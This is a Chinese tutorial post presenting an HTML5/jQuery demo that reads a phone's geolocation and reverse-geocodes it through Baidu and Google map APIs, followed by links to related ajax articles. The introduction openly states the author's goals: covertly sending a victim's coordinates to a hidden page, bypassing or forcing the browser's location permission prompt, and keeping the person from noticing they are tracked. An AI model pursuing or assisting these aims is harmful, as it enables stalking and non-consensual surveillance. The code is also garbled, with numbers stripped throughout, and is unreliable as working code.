基于h5 ajax實(shí)現(xiàn)手機(jī)定位(demo)
因朋友需要,之前看了下關(guān)于h5的手機(jī)定位,目前寫(xiě)了個(gè)demo在這里貼出來(lái),感興趣的朋友可以看一下。
目前的版本只是demo,仍有幾個(gè)問(wèn)題需要完善一下,問(wèn)題如下:
1,如何將經(jīng)緯度等數(shù)據(jù)發(fā)送到被定位人看不到的頁(yè)面上。
2,如何繞過(guò)或或強(qiáng)制讓打開(kāi)鏈接的人允許使用定位(彈窗)。
3,目前或取經(jīng)緯度后,要自行用谷歌地球去分析用戶位置(通過(guò)衛(wèi)星地圖定位并顯示),如何簡(jiǎn)化這一部分,讓被定位者的經(jīng)緯度自動(dòng)生成地圖圖片并一起導(dǎo)入到其他頁(yè)面(總之不能讓被定位者察覺(jué)自己被定位的這一事實(shí))。
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-">
<meta name="viewport" content="width=device-width, initial-scale=, maximum-scale=">
<title>demo..</title>
<script type="text/javascript" src="http://libs.useso.com/js/jquery/../jquery.min.js"></script>
<style type="text/css">
.demo{width:px; margin:px auto px auto}
.geo{margin-top:px}
.demo p{line-height:px; font-size:px}
.demo p span,#baidu_geo,#google_geo{font-weight:bold}
</style>
</head>
<body>
<div id="main">
<div class="demo">
<p>地理坐標(biāo):<span id="latlon"></span></p>
<div class="geo">
<p>百度地圖定位位置:</p>
<p id="baidu_geo"></p>
</div>
<div class="geo">
<p>GOOGLE地圖定位位置:</p>
<p id="google_geo"></p>
</div>
</div>
</div>
<script>
function getLocation(){
if (navigator.geolocation){
navigator.geolocation.getCurrentPosition(showPosition,showError);
}else{
alert("瀏覽器不支持地理定位。");
}
}
function showPosition(position){
$("#latlon").html("<br />緯度:"+position.coords.latitude +'<br />經(jīng)度:'+ position.coords.longitude);
var latlon = position.coords.latitude+','+position.coords.longitude;
//baidu
var url = "http://api.map.baidu.com/geocoder/v/?ak=Cbdaebdbbbabceb&callback=renderReverse&location="+latlon+"&output=json&pois=";
$.ajax({
type: "GET",
dataType: "jsonp",
url: url,
beforeSend: function(){
$("#baidu_geo").html('正在定位...');
},
success: function (json) {
if(json.status==){
$("#baidu_geo").html(json.result.formatted_address);
}
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
$("#baidu_geo").html(latlon+"地址位置獲取失敗");
}
});
//google
var url = 'http://maps.google.cn/maps/api/geocode/json?latlng='+latlon+'&language=CN';
$.ajax({
type: "GET",
url: url,
beforeSend: function(){
$("#google_geo").html('正在定位...');
},
success: function (json) {
if(json.status=='OK'){
var results = json.results;
$.each(results,function(index,array){
if(index==){
$("#google_geo").html(array['formatted_address']);
}
});
}
},
error: function (XMLHttpRequest, textStatus, errorThrown) {
$("#google_geo").html(latlon+"地址位置獲取失敗");
}
});
}
function showError(error){
switch(error.code) {
case error.PERMISSION_DENIED:
alert("定位失敗,用戶拒絕請(qǐng)求地理定位");
break;
case error.POSITION_UNAVAILABLE:
alert("定位失敗,位置信息是不可用");
break;
case error.TIMEOUT:
alert("定位失敗,請(qǐng)求獲取用戶位置超時(shí)");
break;
case error.UNKNOWN_ERROR:
alert("定位失敗,定位系統(tǒng)失效");
break;
}
}
getLocation();
</script>
</body>
</html>
以上代碼就是實(shí)現(xiàn)h5和ajax手機(jī)定位代碼,后續(xù)還會(huì)持續(xù)更新完善,請(qǐng)大家持續(xù)關(guān)注腳本之家網(wǎng)站。
相關(guān)文章
kkpager 實(shí)現(xiàn)ajax分頁(yè)查詢功能
kkpager 實(shí)現(xiàn)ajax分頁(yè)查詢功能,前臺(tái)分頁(yè)數(shù)據(jù),適合數(shù)據(jù)少量的時(shí)候,因?yàn)榉猪?yè)的數(shù)據(jù)是從后臺(tái)獲取的,大數(shù)據(jù)的話不建議使用 ,具體前后臺(tái)代碼大家參考下本文吧2017-08-08
ajax讀取數(shù)據(jù)庫(kù)內(nèi)容實(shí)現(xiàn)二級(jí)聯(lián)動(dòng)下拉選擇菜單示例
本文為大家介紹下使用ajax技術(shù)讀取數(shù)據(jù)庫(kù)內(nèi)容并生成二級(jí)聯(lián)動(dòng)下拉選擇菜單,具體實(shí)現(xiàn)如下,感興趣的朋友可以參考下,希望對(duì)大家有所幫助2013-07-07
ajax與傳統(tǒng)web開(kāi)發(fā)的異同點(diǎn)
本文給大家介紹ajax與傳統(tǒng)web開(kāi)發(fā)的異同點(diǎn),涉及到ajax、web方面的知識(shí),感興趣的朋友跟著小編一起學(xué)習(xí)吧2015-10-10
jQuery ajax中使用serialize()方法提交表單數(shù)據(jù)示例
使用jQuery ajax的serialize() 方法表單序列化為鍵值對(duì)(key1=value1&key2=value2…)后提交,下面是使用serialize()序列化表單的實(shí)例,感興趣的朋友可以參考下2013-10-10
Ajax 框架之SSM整合框架實(shí)現(xiàn)ajax校驗(yàn)
這篇文章主要介紹了Ajax 框架之SSM整合框架實(shí)現(xiàn)ajax校驗(yàn),需要的朋友可以參考下2017-04-04
使用AJAX返回WebService里的集合具體實(shí)現(xiàn)
如何使用AJAX返回WebService里的集合,在本文將有一個(gè)完美的實(shí)現(xiàn),感興趣的朋友可以參考下哈,希望可以幫助到你2013-05-05
無(wú)框架 Ajax分頁(yè)(原創(chuàng))
最近想做一個(gè)Ajax的功能,網(wǎng)上一搜幾乎全是基于某某框架的Ajax分頁(yè),要么需給頁(yè)面加上<scriptManager></scriptManager>,要么需引入某dll,要么需使用類似于jquery的框架。2009-08-08

